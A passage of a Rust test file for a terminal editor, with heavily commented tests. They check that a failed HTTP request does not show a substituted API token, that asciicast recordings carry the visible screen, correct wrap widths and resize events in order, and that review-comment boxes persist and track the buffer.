    // status line: ureq's error Display opens with the resolved URL, so
    // only its kind may be shown (#428 review). The port is bound then
    // dropped, so the connection is refused at once.
    let dead_port = {
        let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
        l.local_addr().unwrap().port()
    };
    std::fs::write(
        tmp.path().join(crate::http_file::ENV_FILE),
        format!(
            "{{\"host\": \"http://127.0.0.1:{dead_port}\", \"token\": \"super-secret-token\"}}"
        ),
    )
    .unwrap();
    let secret_url = tmp.path().join("leak.http");
    std::fs::write(&secret_url, "GET {{host}}/x?api_key={{token}}\n").unwrap();
    app.editor.open_pinned(&secret_url).unwrap();
    app.editor.cursor_row = 0;
    app.send_http_request_under_caret();
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the refused connection",
        || {
            app.drain_http_responses();
            app.http_run.is_none()
        },
    );
    assert!(
        app.status.contains("failed"),
        "a transport failure is reported: {}",
        app.status
    );
    assert!(
        !app.status.contains("super-secret-token"),
        "the substituted URL never reaches the status line: {}",
        app.status
    );
    let hits =
        app.command_history
            .search("api_key", crate::command_history::HistoryScope::All, "", "");
    assert_eq!(hits[0].exit, None, "a failed run records no status code");
    assert!(!hits[0].cmd.contains("super-secret-token"));
    app.editor.open_pinned(&http).unwrap();

    // A hole with no value refuses to send rather than leaking the hole.
    app.editor.open_pinned(&http).unwrap();
    std::fs::remove_file(tmp.path().join(crate::http_file::ENV_FILE)).unwrap();
    app.editor.cursor_row = 0;
    app.send_http_request_under_caret();
    assert!(
        app.status.contains("no value for {{host}}, {{token}}"),
        "{}",
        app.status
    );
    assert!(app.http_run.is_none(), "nothing was sent");
}
/// #356: a recorded frame carries the VISIBLE screen, not the scrollback.
///
/// `grid_lines` starts at `topmost_line()`, which is negative scrollback —
/// up to 5000 rows. Writing all of it after a clear scrolls the live screen
/// straight off the top, so the cast shows the tail of the history rather
/// than what the user was looking at, at roughly 400 KB per frame. A test
/// that only counts event kinds cannot see either half of that.
#[test]
fn a_recorded_frame_is_the_visible_screen_not_the_scrollback() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 40,
        height: 20,
    };
    // `resize`, not a `CSI 8 ; rows ; cols t` feed: the emulator leaves that
    // sequence unhandled, so the grid kept the 80x24 it was spawned with while
    // `last_inner` said 40x6, and the recorded frame carried 24 rows under a
    // header announcing 6. Every assertion below still passed, because they
    // read the same `grid_lines` the recorder does: a fixture can be wrong
    // about itself while everything asserted on it holds.
    //
    // 20 rows, and the number answers two failures at once rather than
    // trading one for the other.
    //
    // `line-199` sits one row above the bottom at EVERY height, because the
    // flood ends on a newline. What the height sets is the eviction budget:
    // how many rows the pane's live shell may print before the frame is
    // recorded. `resize` writes through to the pty master, so that shell
    // takes a SIGWINCH the old escape-sequence feed never sent, and it is a
    // login shell running the developer's own rc - a wrapped prompt and a
    // banner are ordinary. At 6 the budget was five rows, which is inside
    // that range; at 12 it was eleven, which is nearer than it needs to be.
    //
    // The other constraint is only that the height DIFFER from the 24 a pane
    // is spawned at, or the header assertion below cannot fail: restore the
    // unhandled escape sequence at 24 and every assertion here passes. 20
    // satisfies both - 19 rows of budget, and the control still fires.
    //
    // A third way the height matters, worth writing down because it is not
    // obvious: the scrollback guard rejects a last-N-rows recorder by
    // arithmetic on this number, not structurally. At `resize(40, 64)` a
    // recorder writing the last 64 rows would satisfy every assertion here,
    // because 64 would then BE the screen. The row-order assertion below is
    // the one check that does not depend on the height.
    app.terminals[0].resize(40, 20);

    // Far more output than the screen holds, so most of it is scrollback.
    let mut flood = String::new();
    for i in 0..200 {
        flood.push_str(&format!("line-{i}\r\n"));
    }
    app.terminals[0].feed_bytes_for_test(flood.as_bytes());

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let text = std::fs::read_to_string(&path).unwrap();

    let frame = text
        .lines()
        .skip(1)
        .filter_map(|l| serde_json::from_str::<serde_json::Value>(l).ok())
        .find(|ev| ev[1] == "o")
        .and_then(|ev| ev[2].as_str().map(String::from))
        .expect("an output event");

    // The geometry a player is handed, taken from the FILE rather than from
    // `grid_lines`. The recorder takes the header from the pane's rect and
    // the frame body from the grid, and nothing tied the two together: a
    // fixture whose rect and grid disagreed wrote a 24-row frame under a
    // header announcing 6, and every assertion here still passed because they
    // all read the grid. A player sizes its window from this header, so the
    // frame that follows has to fit it.
    let header: serde_json::Value =
        serde_json::from_str(text.lines().next().expect("a header")).expect("the header is JSON");

    let rows = frame.split("\r\n").count();
    // The claim is the VISIBLE screen, so the bound is the screen's own
    // height, taken from the pane rather than guessed: `grid_lines` returns
    // the scrollback first, and the visible rows are what remains after its
    // negative `top`. The bound of 64 this replaces admitted the regression
    // it existed to reject - a recorder that wrote the last 64 rows carries
    // 40 rows of history AND `line-199`, so every assertion here passed on
    // it (verified by making `record_active_screen` do exactly that).
    let (all, top) = app.terminals[0].grid_lines();
    let visible = all.len() - (-top).max(0) as usize;
    assert_eq!(
        rows, visible,
        "the frame must be the {visible}-row screen, not {rows} rows of history"
    );
    assert_eq!(
        (header["width"].as_u64(), header["height"].as_u64()),
        (Some(40), Some(rows as u64)),
        "the geometry a player reads must describe the frame that follows it"
    );
    // And a check that does not go through `grid_lines` at all, so a wrong
    // slice cannot agree with a wrong expectation: any frame wider than the
    // screen reaches back into the flood, and `line-100` is far outside a
    // screen-sized window at the recent end of 200 lines.
    assert!(
        !frame.contains("line-100"),
        "the frame reaches back into scrollback: {frame:?}"
    );
    // Order and adjacency, in one literal that does not go through
    // `grid_lines`. Everything above constrains the frame's ENDS and its row
    // count, so a recorder that emitted the visible rows reversed, or
    // shuffled, satisfies all of it.
    assert!(
        frame.contains("line-198\r\nline-199"),
        "the frame must carry the screen's rows in order: {frame:?}"
    );
    // And it is the RECENT end of the output, not the oldest.
    // `line-199` alone. The `|| contains("line-19")` this replaces was both
    // redundant and weakening: "line-199" already contains "line-19", so the
    // disjunct could only ever ADD acceptance - of a frame showing an old
    // scrollback slice around line-19 through line-24, which is precisely the
    // regression the assertion exists to reject. An OR whose second arm is a
    // substring of its first can only make a check weaker.
    assert!(
        frame.contains("line-199"),
        "the frame must show what was last on screen: {:?}",
        &frame[..frame.len().min(120)]
    );
    assert!(
        !frame.contains("line-0\r\n"),
        "the frame reaches back to the first line ever printed"
    );
}

/// The recorded frame's rows wrap at the width the header declares (#397).
///
/// The header takes its geometry from the pane's `last_inner` and the body
/// comes from the grid, and the sibling test above ties them together in one
/// dimension only: it compares `header["height"]` against a row count derived
/// from the frame, but `header["width"]` against the literal 40 the fixture
/// itself set. A grid wrapped at any other column satisfies that. It is not a
/// hypothetical shape either: that fixture shipped an 80-column grid under a
/// 40-column header and every assertion in it passed.
///
/// A line longer than the screen is the discriminator. It can only wrap at
/// the grid's REAL width, so a frame whose rows run past the header's width
/// fails here, and the digits make the wrap column readable from the text
/// rather than inferred from a length.
#[test]
fn a_recorded_frames_rows_wrap_at_the_width_its_header_declares() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 40,
        height: 20,
    };
    // `resize`, so the GRID is 40 columns too. Setting `last_inner` alone
    // leaves the grid at the 80 it was spawned with, which is exactly the
    // disagreement this test exists to reject.
    app.terminals[0].resize(40, 20);

    // Digits repeating every SEVEN columns, so the wrap point is READ off the
    // text. The period matters twice over. A uniform fill would look
    // correctly wrapped at every width; and a period of ten, which this
    // replaces, divides 40, so `long[..40]` and `long[40..80]` were the SAME
    // string and the adjacency needle below was also satisfied at grid widths
    // 50 and 60. Seven is coprime with 40, so the two halves differ and
    // adjacency pins the column by itself.
    let long: String = (0..100u8).map(|i| char::from(b'0' + (i % 7))).collect();
    // A LEADING CRLF, in the SAME feed as the payload. The pane runs a real
    // shell whose prompt races these bytes (#397), and a prompt landing first
    // would push the payload off column 0, at which point the line wraps
    // somewhere else and this test reports "the long line must wrap at column
    // 40" against a grid that really is 40 - the same misdiagnosis its own
    // first draft produced for a different reason. `feed_bytes_for_test`
    // holds the term lock for the whole buffer, so the reader thread cannot
    // interleave INSIDE this call; a separate leading feed would leave the
    // window between the two calls open.
    app.terminals[0].feed_bytes_for_test(format!("\r\n{long}\r\n").as_bytes());

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let text = std::fs::read_to_string(&path).unwrap();
    let header: serde_json::Value =
        serde_json::from_str(text.lines().next().expect("a header")).expect("the header is JSON");
    let frame = text
        .lines()
        .skip(1)
        .filter_map(|l| serde_json::from_str::<serde_json::Value>(l).ok())
        .find(|ev| ev[1] == "o")
        .and_then(|ev| ev[2].as_str().map(String::from))
        .expect("an output event");

    // The recorder writes a clear-and-home BEFORE the rows, so the first
    // segment of a naive split carries seven escape characters on top of its
    // row. Measuring that as a row's width is how the first version of this
    // test read 47 columns off a grid that really was 40.
    let body = frame
        .strip_prefix("\u{1b}[H\u{1b}[2J")
        .expect("a recorded frame opens with clear-and-home, then the rows");
    let declared = header["width"]
        .as_u64()
        .expect("the header declares a width");
    assert_eq!(
        declared, 40,
        "the fixture's own premise: the header must declare the 40 columns the pane was sized to"
    );
    // The wrap, pinned as two WHOLE rows rather than as a substring. The
    // substring form this replaces did not deliver the uniqueness its comment
    // claimed: `contains` only needs the first half to END some row and the
    // second to BEGIN the next, so with a period-P fill it matches at every
    // width w in 40..=60 with w congruent to 40 mod P. At the period of 10
    // this started with that was widths 50 and 60; at 7 it is 47 and 54, and
    // 47 is the very number this test's own first draft misread off a
    // 40-column grid. Changing the period could never fix it.
    //
    // Row EQUALITY can only hold at width 40: at 47 the row is `long[..47]`,
    // which is not `long[..40]`. So adjacency now rejects every other width on
    // its own, and the bound below is a genuinely independent second check
    // rather than the only one doing the work.
    let rows: Vec<&str> = body.split("\r\n").collect();
    // Precondition, so a missing payload cannot be reported as a bad wrap.
    // `record_active_screen` splits scrollback off, so shell startup output
    // pushing the payload above `topmost_line()` would fail the adjacency
    // check below while naming the column, which is the exact misdiagnosis
    // this test's first draft produced for a different reason.
    assert!(
        rows.iter().any(|r| r.starts_with(&long[..8])),
        "the payload must still be on the visible screen: {body:?}"
    );
    assert!(
        rows.windows(2)
            .any(|w| w[0] == &long[..40] && w[1] == &long[40..80]),
        "the long line must wrap at column {declared}, the width the header promises: {body:?}"
    );
    // And no row may exceed it. This is the half that catches the 80-column
    // grid: there the line wraps at 80, so the widest row is twice what a
    // player sizes its window to.
    let widest = body.split("\r\n").map(visible_width).max().unwrap_or(0);
    assert!(
        widest as u64 <= declared,
        "the widest row is {widest} columns and the header promises {declared}: \
         a player sizes its window from the header, so the frame has to fit it"
    );
}

/// #356's playback criterion with `agg`, the GIF converter: a recording
/// with colour, a resize and a wrapped line converts without complaint.
/// Set `CROFT_TEST_AGG` to an agg binary (`cargo install --git
/// https://github.com/asciinema/agg`).
#[test]
#[ignore = "needs agg; set CROFT_TEST_AGG"]
fn a_recorded_cast_converts_to_a_gif_with_agg() {
    let agg = std::env::var("CROFT_TEST_AGG").unwrap();
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let size = |app: &mut App, w: u16, h: u16| {
        app.terminals[0].last_inner = ratatui::layout::Rect {
            x: 1,
            y: 1,
            width: w,
            height: h,
        };
        app.terminals[0].resize(w, h);
    };
    size(&mut app, 60, 10);
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.terminals[0].feed_bytes_for_test(
        b"\x1b[1;31mbold red\x1b[0m \x1b[30;42mblack on green\x1b[0m \x1b[4;34munderlined\x1b[0m\r\n",
    );
    app.record_active_screen();
    size(&mut app, 40, 8);
    app.terminals[0].feed_bytes_for_test(
        "a line long enough to wrap at forty columns, with \u{4e00} wide text\r\n".as_bytes(),
    );
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let cast = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let gif = tmp.path().join("out.gif");
    let out = std::process::Command::new(&agg)
        .arg(&cast)
        .arg(&gif)
        .output()
        .unwrap();
    assert!(
        out.status.success(),
        "agg refused the cast: {}",
        String::from_utf8_lossy(&out.stderr)
    );
    let bytes = std::fs::read(&gif).unwrap();
    assert!(bytes.starts_with(b"GIF89a"), "a GIF was written");
}

/// A geometry change reaches the cast BEFORE the frame drawn at it (#397).
///
/// `record_active_screen` emits the resize first so a player has the new
/// geometry before the frame that was wrapped for it; the other order renders
/// one frame at the old width. Nothing pinned that order. In every other
/// fixture `recorded_size` already equals the pane's size at record time, so
/// the branch never runs at all, and the one other test that produces an `r`
/// event calls `record_resize` directly, which bypasses the ordering logic
/// rather than exercising it.
///
/// `last_inner` alone moves here, without a `resize`: it is what the branch
/// reads, and the claim under test is the ORDER of two events, not the
/// content of the frame between them.
#[test]
fn a_recorded_resize_precedes_the_frame_it_was_drawn_for() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 40,
        height: 20,
    };
    app.terminals[0].resize(40, 20);

    // Toggling on seeds `recorded_size` from the pane, so this first frame
    // must NOT carry a resize: a test that saw one here would be reading the
    // seeding, not the ordering.
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 60,
        height: 10,
    };
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let text = std::fs::read_to_string(&path).unwrap();
    let kinds: Vec<String> = text
        .lines()
        .skip(1)
        .filter_map(|l| serde_json::from_str::<serde_json::Value>(l).ok())
        .filter_map(|ev| ev[1].as_str().map(String::from))
        .collect();

    // Swap the two statements in `record_active_screen` and this reads
    // `["o", "o", "r"]`; drop the branch and it reads `["o", "o"]`. The
    // sequence is asserted whole rather than as "an r exists somewhere",
    // which both of those would satisfy under a looser check.
    assert_eq!(
        kinds,
        vec!["o", "r", "o"],
        "the cast must carry the new geometry before the frame drawn at it, got {kinds:?}"
    );
}

/// A collapsed pane records no geometry, and does not poison the next one.
///
/// `record_active_screen`'s guard is `size != self.recorded_size && size.0 > 0
/// && size.1 > 0`, and the two size conjuncts had never run: every fixture in
/// the suite holds a non-zero rect. They carry two claims. A pane whose
/// `last_inner` has collapsed must not write a degenerate `r` announcing a
/// zero-column window, and it must not overwrite `recorded_size` with that
/// zero, which would make the NEXT record emit a resize back to a geometry
/// the player already had.
///
/// Drop EITHER size conjunct and the sequence gains two `r` events instead
/// of none: `size.0 > 0` from the width fold, `size.1 > 0` from the height
/// fold. The first version of this doc named only the width half, which is
/// the shape an earlier round was pulled up for: the doc is what the next
/// editor reads before the assert message.
#[test]
fn a_collapsed_pane_records_no_resize_and_leaves_the_last_one_standing() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 40,
        height: 20,
    };
    app.terminals[0].resize(40, 20);

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    // Collapsed: the rect a pane gets when its split is folded to nothing.
    // `last_inner` only, deliberately: production also calls `resize`, which
    // floors the GRID at two columns, and the guard under test reads
    // `last_inner` rather than the grid.
    app.terminals[0].last_inner.width = 0;
    app.record_active_screen();
    // And back to the geometry the recording was opened at. If the collapsed
    // record had written its zero into `recorded_size`, THIS record would
    // announce a resize to 40x20, which the player already has.
    app.terminals[0].last_inner.width = 40;
    app.record_active_screen();
    // The HEIGHT conjunct, which the first version of this test left as dead
    // as it found it: with only `size.0 > 0` deleted the collapsed record
    // still has a zero width and the sequence does not move, so that mutation
    // was invisible. A zero-height fold exercises the other half.
    app.terminals[0].last_inner.height = 0;
    app.record_active_screen();
    app.terminals[0].last_inner.height = 20;
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let text = std::fs::read_to_string(&path).unwrap();
    let kinds: Vec<String> = text
        .lines()
        .skip(1)
        .filter_map(|l| serde_json::from_str::<serde_json::Value>(l).ok())
        .filter_map(|ev| ev[1].as_str().map(String::from))
        .collect();

    assert_eq!(
        kinds,
        vec!["o", "o", "o", "o", "o"],
        "five frames and NO resize: a collapsed pane has no geometry worth \
         announcing, and must not make the pane after it look like a change. \
         Dropping either conjunct of the guard adds two `r` events, the width \
         half from the first fold and the height half from the second, \
         got {kinds:?}"
    );
}

/// A fold mid-recording narrows the frame, and says nothing about it (#397).
///
/// The sibling above moves `last_inner` alone, because the guard it tests
/// reads `last_inner`. Production folds differently: `render` assigns
/// `last_inner = inner` and then calls `resize(inner.width, inner.height)`,
/// so a real fold leaves `last_inner.width` at 0 while the GRID floors at two
/// columns. The zero then suppresses the resize event, and the cast carries a
/// 2-column frame under a 40-column header with nothing announcing it.
///
/// The first version of this test asserted `widest <= declared` and could not
/// fail. Both numbers are arithmetic: no row can exceed the grid, and the
/// grid is only ever 40 or the floor of 2, so 2 <= 40 held whatever the fold
/// did. Deleting both fold lines left every assertion green, which is a test
/// named for a gesture it never exercised. It now asserts what the fold
/// actually moves.
#[test]
fn a_fold_mid_recording_narrows_the_frame_and_announces_nothing() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 40,
        height: 20,
    };
    app.terminals[0].resize(40, 20);
    app.terminals[0].feed_bytes_for_test(b"\r\nbefore the fold\r\n");

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    // Exactly what `render` does on a fold: `last_inner` takes the zero, and
    // `resize` floors the grid at two columns. Setting `last_inner.width = 2`
    // instead, as the first version did, is a pairing production never
    // produces, and it makes the recorder emit an `r` the real gesture
    // suppresses, so the fixture avoided the case it was written for.
    app.terminals[0].last_inner.width = 0;
    app.terminals[0].resize(0, 20);
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let text = std::fs::read_to_string(&path).unwrap();
    // No header parse here: the "frames fit the header" claim belongs to
    // `a_recorded_frames_rows_wrap_at_the_width_its_header_declares`, which
    // pins it with a 100-character payload. Asserting it HERE was arithmetic,
    // since `after` is pinned to 2 two lines below and no row can exceed the
    // grid, so it survived the fold being deleted. That is the same defect
    // this test was rewritten to remove, kept one assertion further down.
    let events: Vec<(String, String)> = text
        .lines()
        .skip(1)
        .filter_map(|l| serde_json::from_str::<serde_json::Value>(l).ok())
        .filter_map(|ev| {
            Some((
                ev[1].as_str()?.to_string(),
                ev[2].as_str().unwrap_or_default().to_string(),
            ))
        })
        .collect();
    let widths: Vec<usize> = events
        .iter()
        .filter(|(kind, _)| kind == "o")
        .map(|(_, frame)| {
            frame
                .strip_prefix("\u{1b}[H\u{1b}[2J")
                .expect("a recorded frame opens with clear-and-home")
                .split("\r\n")
                .map(visible_width)
                .max()
                .unwrap_or(0)
        })
        .collect();
    assert_eq!(widths.len(), 2, "one frame each side of the fold");

    // The claim the fold moves. Remove the fold and `after` EQUALS `before`
    // (whatever that is: the pane's real shell may print a prompt wider than
    // the payload), so this is the assertion the previous version was
    // missing. No literal here, because the fixture does not control it.
    let (before, after) = (widths[0], widths[1]);
    assert!(
        after < before,
        "the fold must narrow the recorded rows, got {before} then {after}"
    );
    assert_eq!(
        after, 2,
        "and the folded frame carries the GRID's two-column floor (`cols.max(2)` \
         in src/widgets/terminal.rs) rather than a snapshot taken before the \
         resize landed"
    );
    // And the suppression is part of the claim rather than a side effect the
    // filter above discarded: `last_inner.width` of 0 fails the guard's
    // `size.0 > 0`, so the narrowing reaches the player with no `r` in front
    // of it. Set `last_inner.width = 2` and an `r` appears here.
    assert!(
        events.iter().all(|(kind, _)| kind == "o"),
        "a fold announces no geometry, got {:?}",
        events.iter().map(|(k, _)| k).collect::<Vec<_>>()
    );
}

/// A pane that GROWS mid-recording announces the new width first (#397).
///
/// The fold above narrows, which a player renders as a small image in a large
/// window and cannot corrupt anything. Widening is the direction that can:
/// the frame really is wider than the header the recording opened at, and
/// correctness rests entirely on the `r` event arriving before the frame
/// drawn at it. Nothing in the suite recorded a pane that grows.
#[test]
fn a_widened_pane_announces_its_new_geometry_before_the_wider_frame() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0].last_inner = ratatui::layout::Rect {
        x: 1,
        y: 1,
        width: 40,
        height: 20,
    };
    app.terminals[0].resize(40, 20);

    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);
    app.record_active_screen();
    app.terminals[0].last_inner.width = 80;
    app.terminals[0].resize(80, 20);
    // Longer than the header's 40 and shorter than the new 80, so the row
    // that lands is one the OLD geometry could not have held.
    let wide: String = std::iter::repeat_n('w', 60).collect();
    app.terminals[0].feed_bytes_for_test(format!("\r\n{wide}\r\n").as_bytes());
    app.record_active_screen();
    // A third frame with NOTHING moved, which pins the recorder REMEMBERING
    // the widening. Delete `self.recorded_size = size` from
    // `record_active_screen` and this reads ["o","r","o","r","o"]: the stale
    // size makes every later frame re-announce a geometry the player has.
    // Nothing in the suite caught that assignment's removal.
    app.record_active_screen();
    app.run_command(crate::widgets::command_palette::Command::ToggleSessionRecording);

    let path = std::fs::read_dir(app.workspace_root())
        .unwrap()
        .filter_map(|e| e.ok().map(|e| e.path()))
        .find(|p| p.extension().is_some_and(|x| x == "cast"))
        .expect("a .cast file was written");
    let text = std::fs::read_to_string(&path).unwrap();
    let header: serde_json::Value =
        serde_json::from_str(text.lines().next().expect("a header")).expect("the header is JSON");
    let declared = header["width"]
        .as_u64()
        .expect("the header declares a width");
    let events: Vec<serde_json::Value> = text
        .lines()
        .skip(1)
        .filter_map(|l| serde_json::from_str::<serde_json::Value>(l).ok())
        .collect();
    let kinds: Vec<&str> = events.iter().filter_map(|ev| ev[1].as_str()).collect();
    assert_eq!(
        kinds,
        vec!["o", "r", "o", "o"],
        "the widened geometry must reach the player BEFORE the frame wrapped \
         for it, and exactly once, got {kinds:?}"
    );

    let widest = events[2][2]
        .as_str()
        .expect("the second frame is text")
        .strip_prefix("\u{1b}[H\u{1b}[2J")
        .expect("a recorded frame opens with clear-and-home")
        .split("\r\n")
        .map(visible_width)
        .max()
        .unwrap_or(0);
    assert!(
        widest as u64 > declared,
        "the fixture must produce a frame the HEADER cannot hold, or the \
         resize event is not load-bearing: widest {widest}, header {declared}"
    );
    // Unconditional, and on BOTH dimensions. The first version read
    // `events[1][3]`, which an asciicast resize never has (it is
    // `[time, "r", "COLSxROWS"]`, three elements), so the primary extraction
    // always yielded None and an `or_else` did the work behind an `if let`.
    // The day that fallback was tidied away the assertion would have stopped
    // running with nothing failing, and the rows dimension was read by
    // nothing at all: `record_resize(size.1, size.0)` survived the suite.
    assert_eq!(
        events[1][2].as_str(),
        Some("80x20"),
        "the `r` must name the pane's new geometry, got {:?}",
        events[1]
    );
}

/// #366: review boxes survive a render, which rebuilds the navigator's.
///
/// `render` reassigns `editor.comment_boxes` from `navigator_notes` every
/// frame, so review threads written straight into that field were wiped
/// before the user saw one — while the status line still reported having
/// loaded them. The boxes therefore live in their own field and are merged
/// in, and this asserts the merge rather than the assignment.
#[test]
fn review_boxes_survive_the_render_that_rebuilds_navigator_notes() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "one\ntwo\nthree\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&file).unwrap();

    app.review_boxes = Some((
        file.clone(),
        vec![crate::review_threads::Thread {
            id: 77,
            author: String::from("ada"),
            body: String::from("this moved"),
            path: String::from("a.rs"),
            anchor: crate::review_threads::Anchor::Outdated(1),
            resolved: false,
        }],
    ));

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    assert!(
        app.editor.comment_boxes.iter().any(|b| b.id == 77),
        "the render wiped the review box: {:?}",
        app.editor
            .comment_boxes
            .iter()
            .map(|b| b.id)
            .collect::<Vec<_>>()
    );

    // A second frame must not duplicate it — the merge appends each time,
    // so it has to append to a freshly rebuilt list rather than accumulate.
    term.draw(|f| app.render(f)).unwrap();
    assert_eq!(
        app.editor
            .comment_boxes
            .iter()
            .filter(|b| b.id == 77)
            .count(),
        1,
        "the box was duplicated across frames"
    );
}

/// #366: another file's review comments do not follow the user to this one.
///
/// The boxes are merged into `editor.comment_boxes` on every frame. Keyed
/// only by "whatever was loaded last", `a.rs`'s objections would hang off
/// `b.rs`'s line numbers, against unrelated code — the same harm
/// `threads_are_filtered_to_the_file_being_viewed` prevents on the filter
/// axis, re-entering through the lifetime axis. So the field carries the
/// path it was loaded for and the merge checks it.
#[test]
fn review_boxes_do_not_follow_the_user_to_another_file() {
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "one\ntwo\nthree\n").unwrap();
    std::fs::write(&b, "alpha\nbeta\ngamma\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&a).unwrap();
    app.review_boxes = Some((
        a.clone(),
        vec![crate::review_threads::Thread {
            id: 77,
            author: String::from("ada"),
            body: String::from("objection"),
            path: String::from("a.rs"),
            anchor: crate::review_threads::Anchor::At(1),
            resolved: false,
        }],
    ));

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        app.editor.comment_boxes.iter().any(|b| b.id == 77),
        "the box should be on the file it was loaded for"
    );

    // Switch files: the boxes belong to a.rs and must not appear here.
    app.editor.open(&b).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    assert!(
        !app.editor.comment_boxes.iter().any(|bx| bx.id == 77),
        "a.rs's review comments followed the user to b.rs: {:?}",
        app.editor
            .comment_boxes
            .iter()
            .map(|bx| (bx.id, bx.line))
            .collect::<Vec<_>>()
    );
}

/// #366: box geometry tracks the live buffer, not the buffer at load time.
///
/// `box_line` clamps so a box past the end stays visible. Computed once at
/// load, that clamp is stale the instant the user edits: delete most of the
/// file and the boxes keep rows that no longer exist, which is exactly the
/// invisibility clamping exists to prevent. So the field keeps `Thread`s and
/// the geometry is derived per frame.
#[test]
fn review_box_geometry_follows_the_buffer_when_it_shrinks() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&file).unwrap();
    app.review_boxes = Some((
        file.clone(),
        vec![crate::review_threads::Thread {
            id: 88,
            author: String::from("ada"),
            body: String::from("late"),
            path: String::from("a.rs"),
            anchor: crate::review_threads::Anchor::At(9),
            resolved: false,
        }],
    ));

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let before = app
        .editor
        .comment_boxes
        .iter()
        .find(|b| b.id == 88)
        .map(|b| b.line);
    assert_eq!(before, Some(9), "the box should sit on its own line first");

    // The user deletes most of the file; line 9 no longer exists.
    app.editor.lines.truncate(3);
    term.draw(|f| app.render(f)).unwrap();
    let after = app
        .editor
        .comment_boxes
        .iter()
        .find(|b| b.id == 88)
        .map(|b| b.line);
    assert_eq!(
        after,
        Some(2),
        "the box kept a row past the end of the shrunken buffer"
    );
}

/// #366: Ignore actually dismisses a review box.
///
/// Every box renders a live `\u{2715} Ignore` footer, and the hit-test is
/// driven off `comment_boxes` indices with no notion of a box's origin. If
/// `ignore_comment_box` only knows about navigator notes, it reports
/// "Comment ignored" and the box returns on the next frame — a dismiss that
/// claims success and visibly does nothing.
#[test]
fn ignoring_a_review_box_actually_dismisses_it() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "one\ntwo\nthree\n").unwrap();
